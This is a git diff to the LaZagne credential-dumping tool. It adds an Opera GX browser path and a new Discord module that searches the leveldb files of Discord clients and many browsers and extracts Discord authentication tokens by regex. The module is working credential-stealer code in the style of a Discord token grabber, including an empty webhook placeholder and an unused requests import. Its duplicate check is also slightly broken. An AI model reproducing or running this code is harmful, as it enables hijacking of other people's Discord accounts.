diff --git a/Windows/lazagne/softwares/browsers/chromium_browsers.py b/Windows/lazagne/softwares/browsers/chromium_browsers.py index e81bf39a..249494bb 100644 --- a/Windows/lazagne/softwares/browsers/chromium_browsers.py +++ b/Windows/lazagne/softwares/browsers/chromium_browsers.py @@ -22,6 +22,7 @@ (u'google chrome', u'{LOCALAPPDATA}\\Google\\Chrome\\User Data'), (u'kometa', u'{LOCALAPPDATA}\\Kometa\\User Data'), (u'opera', u'{APPDATA}\\Opera Software\\Opera Stable'), + (u'opera gx', u'{APPDATA}\\Opera Software\\Opera GX Stable'), (u'orbitum', u'{LOCALAPPDATA}\\Orbitum\\User Data'), (u'sputnik', u'{LOCALAPPDATA}\\Sputnik\\Sputnik\\User Data'), (u'torch', u'{LOCALAPPDATA}\\Torch\\User Data'), diff --git a/Windows/lazagne/softwares/chats/discord.py b/Windows/lazagne/softwares/chats/discord.py new file mode 100644 index 00000000..4734309d --- /dev/null +++ b/Windows/lazagne/softwares/chats/discord.py @@ -0,0 +1,42 @@ +import os, re, requests, json +def find_tokens(): + tokens = [] + local = os.getenv("localAPPDATA") + roaming = os.getenv("APPDATA") + hook = "" + paths = { + "Discord" : roaming + "\\Discord", + "Discord Canary" : roaming + "\\discordcanary", + "Discord PTB" : roaming + "\\discordptb", + "Google Chrome" : local + "\\Google\\Chrome\\User Data\\Default", + "Opera" : roaming + "\\Opera Software\\Opera Stable", + "Brave" : local + "\\BraveSoftware\\Brave-Browser\\User Data\\Default", + "Yandex" : local + "\\Yandex\\YandexBrowser\\User Data\\Default", + 'Lightcord' : roaming + "\\Lightcord", + 'Opera GX' : roaming + "\\Opera Software\\Opera GX Stable", + 'Amigo' : local + "\\Amigo\\User Data", + 'Torch' : local + "\\Torch\\User Data", + 'Kometa' : local + "\\Kometa\\User Data", + 'Orbitum' : local + "\\Orbitum\\User Data", + 'CentBrowser' : local + "\\CentBrowser\\User Data", + 'Sputnik' : local + "\\Sputnik\\Sputnik\\User Data", + 'Chrome SxS' : local + "\\Google\\Chrome SxS\\User Data", + 'Epic Privacy Browser' : local + "\\Epic Privacy Browser\\User Data", + 'Microsoft Edge' : local + "\\Microsoft\\Edge\\User Data\\Default", + 'Uran' : local + "\\uCozMedia\\Uran\\User Data\\Default", + 'Iridium' : local + "\\Iridium\\User Data\\Default\\local Storage\\leveld", + 'Firefox' : roaming + "\\Mozilla\\Firefox\\Profiles", + } + + for platform, path in paths.items(): + path = os.path.join(path, "local Storage", "leveldb") + if os.path.exists(path): + for file_name in os.listdir(path): + if file_name.endswith(".log") or file_name.endswith(".ldb") or file_name.endswith(".sqlite"): + with open(os.path.join(path, file_name), errors="ignore") as file: + for line in file.readlines(): + for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"): + for token in re.findall(regex, line): + if f"{token} | {platform}" not in tokens: + tokens.append(token) + return tokens